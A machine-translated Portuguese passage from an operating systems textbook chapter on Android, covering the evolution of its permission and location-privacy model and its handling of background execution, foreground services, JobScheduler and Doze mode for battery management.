Para ajudar a ilustrar a diferença entre segurança e privacidade, considere a Figura 10.71, que 
é a única coisa que a maioria dos usuários deseja saber sobre a segurança de seu sistema 
operacional (se é que é). Tenha isso em mente ao examinarmos o pensamento que está por trás do 
design da privacidade do sistema. 

A privacidade não pode acontecer sem segurança: sem uma base segura para controlar o que 
os aplicativos podem fazer, um sistema operacional não pode dar garantia sobre o que acontece 
com os dados dos usuários — um aplicativo malicioso pode acessar seus dados através de caminhos 
de cura inseguros sem que o usuário saiba. E embora a segurança no Android forneça as barreiras 
que permitem que as declarações sobre privacidade tenham significado, a segurança não é por si só 
suficiente para resolver questões de privacidade. 

Quando o Android foi projetado pela primeira vez, a segurança era o foco principal de seus 
usuários e desenvolvedores: os sistemas operacionais ainda estavam evoluindo para abordar a 
segurança no mundo moderno de uso generalizado de dispositivos que permitem às pessoas instalar 
e usar aplicativos sem se preocupar com eles, causando danos. . Os dispositivos móveis agravaram 
ainda mais os problemas de segurança devido à sua crescente natureza pessoal, como sempre 
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No harmful apps found 


Play Protect scanned 1 day ago 


Scan 


Figura 10-71. A única coisa que a maioria dos usuários se preocupa é a segurança. 


estar com alguém e, portanto, ter sempre acesso potencial a informações confidenciais, como sua 
localização. Isso faz com que a evolução do Android em torno da privacidade 
um estudo de caso interessante sobre como essas questões têm evoluído na indústria. 

A abordagem inicial do Android à privacidade era focada na segurança: cada aplicativo 
precisava declarar em seu manifesto os dados confidenciais e os recursos aos quais precisava acessar 
para, e a plataforma aplicou isso estritamente. A experiência do usuário girava em torno 
mostrando aos usuários o que o aplicativo teria acesso antes de ser instalado, permitindo que eles 
decidissem se concordavam com o fato de ter essas informações antes de prosseguir 
ansioso para instalar (e com confiança não obteria nenhuma outra informação uma vez 
instalado). Um exemplo dessa experiência do usuário é mostrado na Figura 10.72. 


g Maps 


Do you want to install this 
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Your location 


Network communication 


Your accounts 


“ Storage 


Figura 10-72. Confirmando permissões no momento da instalação (por volta de 2010) 
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Havia uma grande variedade de permissões, organizadas em categorias para ajudar 
os usuários entendem as principais classes de operações que o aplicativo pode realizar. Um resumo de 
essas permissões e suas categorias são mostradas na Figura 10.73. As permissões 
listadas aqui são todas permissões perigosas , o que significa que foram consideradas importantes 
o suficiente para sempre mostrar aos usuários para permitir que eles decidam se desejam prosseguir com um 


instalar. 
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Figura 10-73. Selecione a lista de permissões perigosas no momento da instalação. 


Havia um conjunto adicional de permissões normais , que o aplicativo ainda 


precisasse solicitar em seu manifesto para poder utilizar, mas só seria mostrado ao 


usuários se eles pedirem explicitamente para ver mais detalhes antes da instalação. Um representativo 
A lista dessas permissões é mostrada na Figura 10.74. Observe, por exemplo, que o acesso a 
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a câmera e o microfone são protegidos por permissões perigosas, acima, uma vez que 
estes dão acesso a dados pessoais sensíveis; acesso ao hardware de vibração e 


lanterna são normais, pois o pior que o aplicativo pode fazer com isso é irritar o usuário. 


Permissão Grupo 
PROGRAMAR ALARME PROGRAMAR ALARME 
ACESSAR ESTADO DA REDE REDE 
ACESSE Q ESTADO WIFI REDE 
OBTER CONTAS CONTAS 
VIBRAR CONTROLES DE HARDWARE 
LANTERNA CONTROLES DE HARDWARE 
EXPANDIR BARRA DE STATUS FERRAMENTAS DO SISTEMA 
FERRAMENTAS DO SISTEMA DE PROCESSOS DE FUNDO DE MATAÇÃO 
DEFINIR PAPEL DE PAREDE FERRAMENTAS DO SISTEMA 


Figura 10-74. Selecione a lista de permissões normais no momento da instalação. 


O Android 6.0 mudou a experiência de permissão do usuário em relação ao anterior 
modelo de tempo de instalação para um modelo de tempo de execução. Isto significa que em vez de conceder o 
aplicar os recursos de uma permissão no momento da instalação, para muitas permissões 
o aplicativo agora deve perguntar explicitamente ao usuário em tempo de execução por meio de um prompt do sistema como 


ilustrado na Figura 10-75. 


Allow Permission 
Demo to access this 


device's location? 


DENY ALLOW 


Figura 10-75. Solicitação de permissão de tempo de execução do Android 6.0. 


Mudar para prompts de tempo de execução não poderia simplesmente considerar as permissões existentes como 
está e apresentá-los ao usuário, um de cada vez, enquanto o aplicativo está em execução, conforme necessário 
eles: isso seria opressor para o usuário. Portanto, foi necessário um extenso retrabalho de 
a organização das permissões para que sejam apropriadas para permissões de tempo de execução, resultando no 
novo modelo mostrado na Figura 10.76. 

As permissões aqui (agora no lado direito da tabela) ainda são classificadas como 
permissões perigosas, mas não mostradas diretamente aos usuários; em vez disso, o grupo que eles são 
in (no lado direito) está o prompt de tempo de execução que será mostrado ao usuário, permitindo 
o aplicativo para obter acesso a todas as permissões solicitadas nesse grupo. A granularidade das permissões 
subjacentes é assim mantida, mas a quantidade de informações 


e a escolha com a qual o usuário deve lidar diminui bastante. 
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Figura 10-76. Selecione a lista de permissões de tempo de execução. 


Ainda existem permissões normais, mas elas não são mais mostradas ao usuário em 


todos. Em vez disso, a plataforma ainda restringe o acesso a eles, de modo que as informações contidas no 


manifesto pode ser usado para auditar aplicativos com garantias sobre o que eles podem e 
não pode fazer no dispositivo. As permissões restantes de antes disso agora são 
permissões normais auditáveis são mostradas na Figura 10.77. 


Permissão 


PROGRAMAR ALARME 


ACESSAR ESTADO DA REDE _ 


ACESSE O ESTADO WIFI 


VIBRAR 


LANTERNA 


EXPANDIR BARRA DE STATUS 


MATAR PROCESSOS DE FUNDO 


DEFINIR PAPEL DE PAREDE 


INTERNET 


BLUETOOTH 


MODIFICAR CONFIGURAÇÕES DE ÁUDIO 


BLOQUEIO DE DESPERTAR 


Figura 10-77. Selecione a lista de permissões normais auditáveis. 


Essa mudança organizacional efetivamente mudou o projeto de permissão de centrado na segurança 
para centrado na privacidade. Os novos grupos de permissão representam tipos separados 
de dados que o usuário pode estar interessado em proteger, e todo o resto foi escondido deles. 


Machine Translated by Google 


850 ESTUDO DE CASO 1: UNIX, LINUX E ANDROID INDIVÍDUO. 10 


Para que algo justifique ser mostrado como uma permissão de tempo de execução, deve claramente 
passar em um teste: "Isso é algo que o usuário entende facilmente (o que geralmente significa 
representa alguns dados claros sobre eles) e pode ter confiança ao tomar uma decisão sobre liberar acesso a 
esses dados?" Os usuários que respondem sim a um prompt de permissão de tempo de execução estão 
declarando que confiarão naquele aplicativo ( e 
seu desenvolvedor) com todos esses tipos de dados pessoais em seus dispositivos. 

A permissão INTERNET é um bom estudo de caso neste processo de design: foi 
modificado de uma permissão perigosa mostrada ao usuário na instalação, para uma permissão normal que não 
requer um prompt de tempo de execução e nunca é mostrada ao usuário. O 


o raciocínio por trás disso é fornecido abaixo: 


1. Quantos aplicativos solicitariam isso como permissão de tempo de execução? A maioria 
deles, então o usuário será confrontado com isso com frequência 
e precisa estar especialmente confiante para tomar uma boa decisão. 
(Solicitações frequentes de decisões nas quais o usuário não está confiante podem ser facilmente 


fazer com que todos os prompts sejam ignorados por eles.) 


2. Isso protege alguns dados que o usuário pode compreender claramente? Não. 
Isso torna mais difícil para o usuário entender o que está sendo solicitado. 


3. Isso dá ao aplicativo uma capacidade que interessa ao usuário? Sim. 
De certa forma, os aplicativos capazes de acessar a rede parecem algo 
que seja de interesse para a privacidade do usuário. 


4. Por que um usuário decidiria se concederia ou não permissão a um aplicativo? Um processo 
de pensamento comum aqui é: "Não quero que o aplicativo 
para acessar a rede para que não possa enviar meus dados do dispositivo." 


5. A decisão de permitir o acesso à rede tem, na verdade, uma ligação estreita com as decisões 
relativas ao acesso a dados pessoais! Aquilo é, 
um usuário dizendo “não” à permissão de rede geralmente o levará a isso 


sentindo-se melhor em dizer “sim” às solicitações de acesso aos seus 
dados. 


6. Querer controlar o acesso à rede é, portanto, na verdade, um proxy para querer uma garantia de 
que o aplicativo não será capaz de exportar quaisquer dados da rede. 
dispositivo. No entanto, não é isso que a permissão de rede faz. Até 
se um aplicativo não tiver acesso à rede, há muitas maneiras de 
exportar dados, mesmo acidentalmente: por exemplo, se abrir o navegador em 
um site associado a ele, o URL que ele entrega ao navegador pode conter todos os dados 


desejados, que são então enviados ao servidor do aplicativo. 


É melhor que o acesso à rede não seja uma permissão de tempo de execução, por vários motivos. Seria 
solicitado pela maioria dos aplicativos, fazendo com que o usuário fosse constantemente confrontado com ele. 
Eles estão sendo solicitados a tomar uma decisão que não está clara como será 


os impacta. A principal razão pela qual muitos usuários infeririam por que deveriam dizer 
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"não" - que impede o aplicativo de exportar dados - pode levá-los a cometer erros 
decisões para outras permissões solicitadas pelo aplicativo. O último ponto compromete a 
modelo de permissão fundamental: dizer “sim” a um prompt de permissão é 

expressar confiança no aplicativo com esses dados. 

Existem, finalmente, algumas permissões que desapareceram completamente no modo de tempo de 
execução, como WRITE SETTINGS e SYSTEM ALERT WINDOW. Normalmente, eles eram considerados 
perigosos demais para serem simplesmente ocultados ou até mesmo usados como um simples prompt de tempo 
de execução (ou muito difíceis de entender para o usuário tomar uma boa decisão em um 
prompt de tempo de execução simples). Normalmente, eles foram transformados em um usuário explícito 
interface que o usuário deve acessar para habilitar manualmente o acesso do aplicativo a essa permissão, 


conforme abordado anteriormente ao discutir permissões e interfaces de usuário explícitas para controlá-las. 


Isso então fornece uma estrutura básica para decidir como um recurso específico em 


a plataforma será protegida, de forma orientada para a privacidade: 


1. Se isso puder ser feito como parte de um fluxo de usuários maior, onde os usuários não 
perceber que estão tomando uma decisão de segurança/privacidade, isso é o ideal. Exemplos 
de tais fluxos são as concessões de permissão de URI impulsionadas por ações 
e experiências android.intent.action.GET CONTENT descritas anteriormente. 


2. Se for algo que não impacte significativamente a privacidade do usuário 


ou colocar o dispositivo em risco, uma permissão auditável normal é uma boa 
escolha. 


3. Se estiver associado a dados pessoais claros, é provável que o utilizador tenha uma 
opinião forte sobre quem pode acessá-lo, portanto, uma permissão de tempo de execução é 


provavelmente uma boa escolha. 


4. Caso contrário, pode ser necessário haver uma interface de usuário explícita separada para 
conceder privilégios específicos apenas a determinados aplicativos. Quanto mais perigoso isso 
é para o usuário, porém, mais cuidadosamente isso deve ser feito. Por exemplo, a permissão 
WRITE SMS foi alterada para uma interface separada 
onde é atribuído apenas a uma aplicação que um utilizador pode designar como aplicação de 
mensagens de texto preferida. Isso ajuda todos a tomar uma decisão mais segura 
pensando em qual aplicativo deve ter esse recurso. 


Evolução das permissões de tempo de execução 


A mudança para permissões de tempo de execução foi apenas o início da jornada de privacidade do 
Android, que continuará a ser uma consideração central de design para sistemas operacionais. 
assim como a segurança. Para ilustrar essas mudanças, examinaremos especificamente a permissão de 


localização e como ela evoluiu nas versões posteriores do Android. 
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Lembre-se de que no Android 6.0, a experiência do usuário para acesso à localização mostrada na 
A Figura 10-75 anterior era uma pergunta simples de “sim” ou “não”, escondendo até mesmo a diferença entre 
acesso grosseiro e fino ao local, para criar uma experiência simples. Isto proporcionou um novo controle 
significativo para os usuários, mas como a capacidade de acessar 
a localização do usuário tornou-se cada vez mais um ponto de preocupação (tanto devido ao aumento 
conscientização do usuário e aumento do uso problemático de aplicativos), demandas por mais controle 
conduziu uma série de mudanças desde a permissão inicial de tempo de execução simples. 

A primeira mudança no acesso à localização ficou invisível para os usuários: no Android 8.0 o 
foi introduzido o conceito de acesso à localização em segundo plano versus primeiro plano. Quando um 
o aplicativo é considerado em segundo plano, não é possível obter a localização 
atualizações em alta velocidade. 

A motivação para isso foi, em parte, melhorar a vida útil da bateria dos dispositivos Android, uma vez 
que os aplicativos que monitoram constantemente a localização em segundo plano poderiam 
consumir energia significativa, mas também reduziu a quantidade de informações sobre o 
usuário que esses aplicativos podem coletar. (Aplicativos que realmente precisam monitorar de perto 
localização em segundo plano pode fazer isso através do uso de serviços em primeiro plano, que serão 
discutidos posteriormente em Execução em segundo plano.) 

O Android 10 adotou uma abordagem mais centrada na privacidade para esse problema, tornando o 
diferença entre localização em segundo plano e em primeiro plano acessa uma parte explícita de 
a experiência do usuário. Isso foi apresentado ao usuário na forma de um novo tempo de execução 


prompt, mostrado na Figura 10.78, onde o usuário poderia selecionar o tipo de acesso ao aplicativo 
deveria. 


Q 


Allow Permission Demo to 
access this device's location? 


Allow all the time 


Allow only while using the app 


Deny 


Figura 10-78. Prompt de localização em segundo plano vs. primeiro plano do Android 10. 


Impulsionado pelas crescentes demandas por mais privacidade, este novo prompt de permissão é 
foi a primeira vez que a plataforma usou o conceito de execução de aplicativos em segundo plano versus 
primeiro plano em sua experiência principal do usuário. Observe o texto cuidadoso aqui: primeiro plano 
é descrito como "somente enquanto o aplicativo está em uso" e o plano de fundo é "o tempo todo", 
refletindo a real complexidade subjacente a esses conceitos. Por exemplo, se você 
estão atualmente usando um aplicativo de mapeamento para fazer navegação, mas não estão ativamente em 
o aplicativo na tela é considerado primeiro ou segundo plano? Do Android 
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perspectiva, é o primeiro plano para acesso à localização, mas "enquanto o aplicativo está em uso" 
explica melhor isso ao usuário. 

O Android 11 deu um passo além e introduziu um novo conceito de “só desta vez”, mostrado na 
Figura 10.79, dando agora ao usuário a opção de restringir o acesso à localização apenas à sua 
sessão atual no aplicativo. Quando selecionado, assim que o aplicativo for encerrado, a permissão 
de localização será revogada silenciosamente e fará com que o aplicativo não tenha mais acesso à 
localização. Na próxima vez que o aplicativo for utilizado, haverá outra solicitação de acesso à 
localização e o usuário poderá decidir nesta nova situação o que permitir. 


Q 


Allow Permission Demo to 
access this device's location? 


While using the app 


Only this time 


Deny 


Figura 10-79. Prompt “apenas desta vez” do Android 11. 


Uma concessão de permissão transitória é útil para permissões como localização, onde sempre 
que os aplicativos têm acesso a ela, eles têm disponível um fluxo contínuo de novos dados pessoais 
sobre o usuário, neste caso, onde o usuário está localizado. (A mesma capacidade foi aplicada neste 
momento a duas outras permissões com semântica semelhante, acesso à câmera e ao microfone.) 
Isso aborda a situação em que os usuários sentem que o aplicativo está solicitando acesso a esses 
dados em uma situação que faz sentido agora, mas eles não acham que o aplicativo normalmente 
precise desse acesso. 

Observe também outra mudança na experiência de localização, onde a opção de conceder 
acesso em segundo plano à localização desapareceu completamente. Isso aconteceu porque ter 
mais de três opções resulta em uma experiência excessivamente complicada para os usuários que 
tentam decidir o que desejam, e a grande maioria dos aplicativos não precisa de acesso total em 
segundo plano, já que a maioria desses casos de uso é melhor atendida por serviços em primeiro 
plano. 

Para os raros casos em que um aplicativo realmente pode fazer uso do acesso total à 
localização em segundo plano, e o usuário pode ser convencido a permitir isso, a opção ainda 
permanece nas configurações gerais do sistema para as permissões do aplicativo, mostradas na 
Figura 10.80. Aqui o usuário pode ver todas as opções possíveis, incluindo a opção atualmente 
selecionada para o aplicativo (se houver), e alterar a seleção conforme desejado. 

Mais recentemente, o Android 12 amplia ainda mais as opções disponíveis para o usuário sobre 
acesso à localização, dando-lhes a opção de selecionar entre grosseiro e fino 
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€ Location permission 


= 


Permission Demo 


LOCATION ACCESS FOR THIS APP 


Allow all the time 
Allow only while using the app 
Ask every time 


Deny 


See all apps with this permission 


Figura 10-80. Configurações de permissão de localização do Android 11. 


acesso conforme mostrado na Figura 10-81. Observe que esses são essencialmente os mesmos 
tipos de aplicativos de acesso à localização e o usuário pode diferenciá-los no início do Android 
1.0! Eles ficavam escondidos do usuário, mas ainda eram opções do app, no Android 5.0. O 
Android 12 novamente os mostra explicitamente ao usuário, ao mesmo tempo que permite que ele 
substitua a preferência do aplicativo (se estiver solicitando acesso fino). 
O Android 12 também introduziu um novo “painel de privacidade”, permitindo aos usuários ver 
quando os aplicativos estão acessando sua localização e outros dados pessoais após concederem 
esse acesso. A Figura 10-82 mostra um exemplo do que um usuário pode ver sobre o acesso à 
localização em seu dispositivo. Isso fornece uma ferramenta avançada para os usuários 
monitorarem o que seus aplicativos estão fazendo, para se certificarem de que estão confortáveis 
com isso e potencialmente mudarem sua decisão sobre o acesso de um aplicativo com base no que veem. 
As mudanças que discutimos (desde a transição para permissões de tempo de execução, 
passando pela evolução do acesso à localização, até o painel de privacidade) servem para ilustrar 
como a privacidade se tornou um aspecto único do design do sistema operacional. A maioria dos 
recursos do sistema operacional são melhores quanto menos o usuário estiver ciente deles. Isto é 
verdade não apenas para a segurança, como descrevemos anteriormente, mas geralmente a 
melhor solução para um problema é aquela em que o sistema operacional pode fazer algo para 
que o usuário não precise pensar nisso. Vimos outro exemplo disso anteriormente, com o Android 
eliminando a necessidade de os usuários pensarem em iniciar e interromper explicitamente seus aplicativos. 
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Q 


Allow Permission Demo to 
access this device's location? 


+ 
- 


Precise Approximate 


While using the app 


Only this time 


Don't allow 


Figura 10-81. Prompt grosseiro vs. fino do Android 12. 


Location usage 


Timeline of when you apps used your locaton in the 
past 24 hours 


Today 
6:04 AM Õ Music App 


Map App 


32 minutes 


Yostorday 


Ez am O News App 


ea O TAPP 


Used im background 


vera AM © Email App 


(8 Manage permission 


Fab AM 


Figura 10-82. Painel de privacidade do Android 12 mostrando detalhes de “localização”. 
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A privacidade, por outro lado, é uma colaboração com o usuário, ganhando sua confiança, informando-o 
claramente sobre o que está acontecendo com seus dados e fornecendo controles para 
para que expressem suas preferências. É difícil para um sistema operacional fazer isso automaticamente, não 
apenas porque ter essas informações e controle é fundamental para ganhar confiança, mas também porque não 
existe um conjunto certo de respostas para todos os usuários: se você pesquisar os usuários sobre suas 
preferências sobre como seus dados são tratados, alguns se importarão 
muito menos do que outros (preocupando-se mais com os recursos que obtêm ao fornecer seus dados), 
e alguns terão preferências significativamente mais fortes por determinados tipos de dados em comparação com 


outros com fortes preferências por dados diferentes. 
10.8.12 Execução em segundo plano e engenharia social 


Um dos objetivos iniciais do design do Android era criar um sistema operacional móvel aberto. 
sistema, permitindo aos desenvolvedores regulares de aplicativos a flexibilidade de não apenas implementar muitas 
da mesma funcionalidade fornecida por seus aplicativos integrados, mas também para criar 
novos tipos de aplicações não previstas originalmente pela plataforma. 

Este objetivo de design foi expresso no modelo de aplicação anteriormente abordado de 
atividades, receptores, serviços e provedores de conteúdo: um conjunto de edifícios básicos flexíveis 
bloqueia o uso de aplicativos para expressar suas necessidades ao sistema operacional. De especial 
nota é o serviço, um mecanismo geral para um aplicativo expressar a necessidade de fazer alguma 
funcionar em segundo plano, mesmo que o usuário não esteja executando o aplicativo. 

Um serviço pode representar uma ampla gama de funcionalidades, desde vários tipos de 
atualizar e sincronizar dados em segundo plano, para controle mais explicitamente controlado pelo usuário 
execução. Por exemplo, o Android vem com um reprodutor de música que permite ao usuário 
para continuar ouvindo música mesmo quando não estiver no próprio aplicativo. Desde isso 
poderia ser construído com a construção básica de serviço, desde a primeira versão do Android 
qualquer aplicativo normal poderia implementar a mesma funcionalidade e até mesmo usá-la 


para tipos de experiências totalmente novos, como navegação de direção ou monitoramento de exercícios. 


A flexibilidade do Android na execução em segundo plano foi valiosa, mas também se tornou 
um desafio crescente de gerir, que esta secção analisará com mais detalhe. 
Mas antes de fazer isso, vamos considerar um caso simples de serviços em primeiro plano. 
Um serviço em primeiro plano é a capacidade de um componente de serviço em execução informar 
Android que é especialmente importante para o usuário. Isto dá ao sistema uma distinção importante entre serviços 
mais importantes e menos importantes, para coisas como 
gerenciamento de memória. Lembre-se da Figura 10.63, que mostra diferentes categorias de importância do 
processo. Se um serviço está em primeiro plano ou não, determina se seu processo é 
classificado como perceptível ou serviço. Por ser mais importante que os serviços regulares 
(mas menos importante que o aplicativo visível), o Android pode decidir corretamente 
livrar-se de processos para serviços em segundo plano sem interromper experiências como o 
usuário ouvindo música em segundo plano. 
No Android 1.0, um serviço foi colocado em primeiro plano com uma API simples que o solicitava diretamente, 
e o sistema confiava que os aplicativos usassem isso para a finalidade pretendida: 
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algo que o usuário conhece, como reprodução de música de fundo. Porém, logo após o lançamento da versão 
1.0, observou-se que os aplicativos muitas vezes usavam a API incorretamente, colocando em primeiro plano 
algo que não era realmente tão importante para o usuário. Esse comportamento começou a causar experiências 
ruins para os usuários, pois os serviços com os quais eles se importavam seriam eliminados devido a serviços 
que não eram. 

O problema do serviço em primeiro plano foi resolvido no Android 2.0 exigindo que, para tornar um serviço 
em primeiro plano, ele também precise ter uma notificação contínua associada a ele. Isso vinculou o propósito 
de um serviço em primeiro plano (fazer algo que o usuário está diretamente ciente) a algo que um aplicativo só 
gostaria de fazer em tal situação (informar o usuário sobre o que está fazendo de uma forma muito visível). 
Reproduzir música em segundo plano, navegar em mapas, monitorar exercícios — todas essas coisas envolvem 
naturalmente a exibição de uma notificação para que o usuário possa ver facilmente o que está acontecendo e 
controlá-lo, mesmo quando não estiver no aplicativo que está realizando a operação. 


Embora a solução de notificação tenha funcionado bem para incentivar os desenvolvedores a usar serviços 
em primeiro plano para a finalidade pretendida, com o tempo, um problema mais geral de aplicativos executados 
em segundo plano tornou-se um problema crescente para o Android que precisava ser resolvido. Para entender 
o porquê, vamos considerar a forma como um sistema operacional como o Android lida com um recurso 
limitado, como a energia da bateria. 

A bateria de um dispositivo móvel é um recurso importante e limitado. Para cada carga da bateria, você 
pode realizar uma quantidade fixa de trabalho. As pessoas esperam que a bateria dure um dia normal sem 
precisar ser carregada, portanto, há uma quantidade fixa de trabalho que um dispositivo pode realizar todos os 
dias. Idealmente, a bateria só descarrega enquanto a tela está ligada e em uso, portanto, há uma quantidade 
bastante clara de trabalho real para o qual você pode usar o dispositivo todos os dias. No entanto, enquanto a 
tela está desligada, várias coisas também podem consumir energia, como: 


1. Manter a RAM atualizada para que retenha seus dados. 


2. Manter as CPUs adormecidas, mas prontas para serem ativadas quando um evento externo 


acontece. 
3. Executando os diversos rádios: Celular, Wi-Fi, Bluetooth, etc. 


4. Manter uma conexão de rede ativa para acordar quando eventos importantes acontecerem, como 


receber uma mensagem instantânea que deve notificar o usuário. 


5. Aplicativos que fazem trabalho para os usuários podem se preocupar com: sincronizar e-mails (e 
possivelmente notificar sobre a chegada de uma nova mensagem), atualizar informações 
meteorológicas atuais para que eles vejam na próxima vez que verificarem seu dispositivo, 


sincronizar notícias para mostrar as manchetes atuais na próxima vez que olharem. , etc. 


Quanto mais energia é consumida quando não está em uso, mais a experiência do usuário é prejudicada, 
pois há menos tempo que ele pode realmente usar o dispositivo com uma única carga durante o dia. A maioria 


dos itens acima simplesmente deve ser feita para manter o 


Machine Translated by Google 


858 ESTUDO DE CASO 1: UNIX, LINUX E ANDROID INDIVÍDUO. 10 


dispositivo funcional, mas o último ponto é mais complicado: eles não são necessários e, embora criem 
uma experiência melhor individualmente, isso tem o preço de uma experiência geral de duração da 
bateria pior. 

Considere um único desenvolvedor de aplicativo cujo aplicativo permite ver notícias. É importante 
que as pessoas que usam o aplicativo vejam as notícias atuais, possivelmente até que recebam 
notificações sobre notícias recentes de interesse, por isso o desenvolvedor decide atualizar suas 
notícias da rede mesmo quando o aplicativo não está em uso direto. É claro que o desenvolvedor 
entende que apenas manter o aplicativo funcionando o tempo todo para recuperar notícias 
constantemente não é bom para o usuário, então é tomada a decisão de fazer isso apenas, digamos, 
duas vezes por hora, para evitar descarregar a bateria. 

Um aplicativo como este, realizando algum trabalho em segundo plano duas vezes por hora, 
provavelmente por si só tem um bom equilíbrio entre a experiência no aplicativo e a duração geral da bateria. 
No entanto, agora pegue 20 aplicativos fazendo a mesma troca e instale-os em um dispositivo: há algo 
querendo funcionar em segundo plano a cada 1,5 minutos! 

Isto consumirá notavelmente a energia limitada disponível da bateria do dispositivo e, portanto, quanto 
ele pode ser usado durante o dia. 

Este problema é uma ilustração do conceito da ciência económica da tragédia dos comuns. Esta 
é uma situação em que, quando há utilizadores individuais de um recurso partilhado, tomando a sua 
própria decisão racional individual sobre como utilizar esse recurso, em conjunto essas decisões podem 
resultar num consumo excessivo do recurso que resulta em danos para todos eles, para além de os 
benefícios individuais que cada usuário ganha. Nenhum dos indivíduos precisa ser malicioso de forma 
alguma para que isso aconteça. O exemplo original da tragédia dos comuns é um pasto público para 
pastorear ovelhas. É do interesse de cada agricultor ter tantas ovelhas quanto possível, mas isto pode 
resultar em tantas ovelhas que o pasto fica sobrepastoreado e todas as ovelhas morrem de fome. 


A abordagem do Android de fornecer blocos de construção genéricos e flexíveis para aplicativos é 
uma receita para esse tipo de tragédia dos problemas comuns. Esse design foi importante desde o 
início para o Android, para permitir inovações significativas na plataforma de maneiras que ele não 
poderia prever. No entanto, também depende significativamente de aplicações que tomem boas 
decisões globais sobre o seu comportamento. Em particular, quando uma aplicação pede para iniciar 
um serviço, a plataforma deve geralmente respeitar isso (tanto quanto possível) e permitir que o serviço 
seja executado, fazendo o que decidir fazer, até que a aplicação diga que está feito. 


O problema mais óbvio que isso permite, no entanto, é que aplicativos mal projetados ou com 
bugs descarregam rapidamente a bateria: iniciar um serviço por um longo tempo, ficar parado segurando 
um wake lock mantendo o dispositivo funcionando, fazendo um trabalho significativo na CPU que usa 
poder. O Android 2.3 incluiu o primeiro grande passo para abordar o uso da bateria de aplicativos em 
segundo plano, mostrado na Figura 10.83, que apresenta ao usuário o quanto a bateria foi descarregada 
e estimativas de quanto os aplicativos e outras coisas no dispositivo são responsáveis por esse 
consumo. . 

Considerando a gestão de recursos dos sistemas operacionais como um problema económico/ 
social, vimos agora duas estratégias gerais para os resolver. Vinculando serviços de primeiro plano a 
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Figura 10-83. Tela inicial de uso da bateria do Android. 


notificações é um exemplo de criação de incentivos que alcançam o resultado desejado: 
neste caso, um forte desincentivo ao abuso de serviços em primeiro plano, porque a notificação associada 
irá incomodar as pessoas e dar-lhes uma impressão negativa da aplicação. 
A exibição do uso da bateria é um exemplo de criação de responsabilidade: tornar visível 
as coisas que os aplicativos estão fazendo que podem ter um impacto significativo no dispositivo, então 
eles podem ser responsabilizados por mau comportamento e permitir que o usuário tome medidas 
baseado nisso. 

Nenhuma dessas abordagens ajuda a resolver a tragédia do problema dos bens comuns, onde 
muitos aplicativos que se comportam razoavelmente juntos consomem muita energia. Isto 
é difícil encontrar incentivos que alterem significativamente as decisões que aqueles 
os aplicativos tomam (ou até mesmo dizem claramente qual é a decisão certa para cada aplicativo) e 
a responsabilidade dos dados de uso da bateria simplesmente mostraria um grande número de aplicativos 
cada um individualmente usando uma pequena quantidade da energia geral. Isto não foi inicialmente 
um problema significativo para o Android, mas com o passar do tempo e os dispositivos aumentaram 
número de aplicativos instalados neles, e esses aplicativos cresceram em quantidades cada vez maiores 
funcionalidade, ela precisava ser abordada. 

O Android 5.0 deu o primeiro grande passo para resolver problemas de consumo de energia entre 
aplicativos com a introdução da API JobScheduler . Isto fornece um novo 
tipo de serviço especializado, aquele ao qual o aplicativo não inicia ou se vincula explicitamente, mas 
em vez disso, informa à plataforma informações sobre quando ela deve ser executada, como se 
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precisa de acesso à rede, com que frequência deve ser executado, etc. O Android então decide quando 
executar o serviço e por quanto tempo. 

O JobScheduler deu ao Android a capacidade de analisar os desejos de trabalho em segundo plano 
em todos os aplicativos de um dispositivo e tomar decisões de agendamento para equilibrar a quantidade 
de trabalho que cada aplicativo pode realizar em relação ao impacto geral na vida útil da bateria. Por 
exemplo, se o Android determinar que um determinado aplicativo não foi usado recentemente, isso poderá 
reduzir significativamente a quantidade de trabalho que esse aplicativo pode realizar em segundo plano em 
favor de outros aplicativos que aparentemente são mais importantes para o usuário. 

Para que o JobScheduler realmente tenha um impacto, os aplicativos precisam usá-lo; no entanto, por 
si só, há pouco incentivo para que o façam. Ele não substituiu o mecanismo de serviço flexível subjacente, 
que os aplicativos já usavam, eram muitas vezes mais fáceis de usar (de uma forma mais simplista do que 
os trabalhos) e permitiam-lhes total flexibilidade para fazer o agendamento que desejassem. Outras 
mudanças foram necessárias para mudar esta situação. 

O Android 6.0 deu o próximo passo para ter mais controle sobre a execução em segundo plano, 
introduzindo o “modo soneca”. A ideia aqui era identificar um caso de uso específico onde a duração da 
bateria é um problema claro e, portanto, onde fortes restrições poderiam ser aplicadas por a plataforma 
para obter ganhos significativos. O caso de uso alvo aqui foram tablets que não são usados há dias: se o 
usuário deixar seu tablet parado em uma prateleira por um dia, será uma experiência terrível voltar a ele 
com a bateria vazia. Também não há razão para os usuários terem essa experiência, porque eles geralmente 
não se importam com o fato de o tablet fazer muita coisa em segundo plano durante esse período. 


Doze abordou esses longos períodos definindo-os como um estado claro em que o dispositivo pode 
se identificar e interromper todo o trabalho em segundo plano possível. Entrar nesse estado acontece 
quando a tela fica desligada há mais de uma hora e o dispositivo não está em movimento. Nesse ponto, 
inúmeras restrições são impostas ao dispositivo: os aplicativos não têm acesso à rede e não podem conter 
wakelocks (portanto, mesmo que tenham um serviço em execução, não podem manter o dispositivo 
consumindo energia), além de outras limitações, como desligar o Wi-Fi. -Verificações de Fi e Bluetooth, 
limitação e limitação de alarmes, etc. 

Um dispositivo sai do sono quando a tela é ligada novamente ou é movida 
significativamente (e, portanto, precisa fazer varreduras e outras coisas para coletar novas informações 
relacionadas à localização). O último é realizado por um recurso especial no sistema de sensor chamado 
“detector de movimento significativo”, que permite que a CPU principal entre no modo de suspensão, mas 
acorde se o detector for acionado. 

Enquanto você cochila, ainda há necessidade de manter algum trabalho limitado em segundo plano 
acontecendo. Por exemplo, uma mensagem instantânea recebida ainda deve acionar uma notificação no 
dispositivo, e operações importantes em segundo plano ainda devem poder ser executadas por algum 
tempo. Essas necessidades são atendidas por meio de dois mecanismos: 


1. O Android sempre mantém uma conexão com um servidor que informa sobre eventos 
importantes em tempo real com os quais ele deve lidar, como mensagens instantâneas 
recebidas ou alterações em eventos de calendário. Normalmente, eles não são entregues 
durante o cochilo, mas uma mensagem especial de alta prioridade permite que esses 
eventos críticos despertem brevemente o dispositivo e os tratem sem afetar o estado geral 
de cochilo. 
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2. Durante o cochilo, o sistema entrará em janelas de manutenção curtas, mostradas na 
Figura 10.84, onde a maioria das restrições de cochilo são liberadas; isso permite 
alguma operação contínua de coisas como sincronização de e-mail em segundo 
plano, atualização de notícias, etc. 


screen off orem 
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on battery 


Doze Doze 


A 


time 


Figura 10-84. Janelas de cochilo e manutenção. 


Os aplicativos podem coordenar seu trabalho com janelas de manutenção doze por meio do 
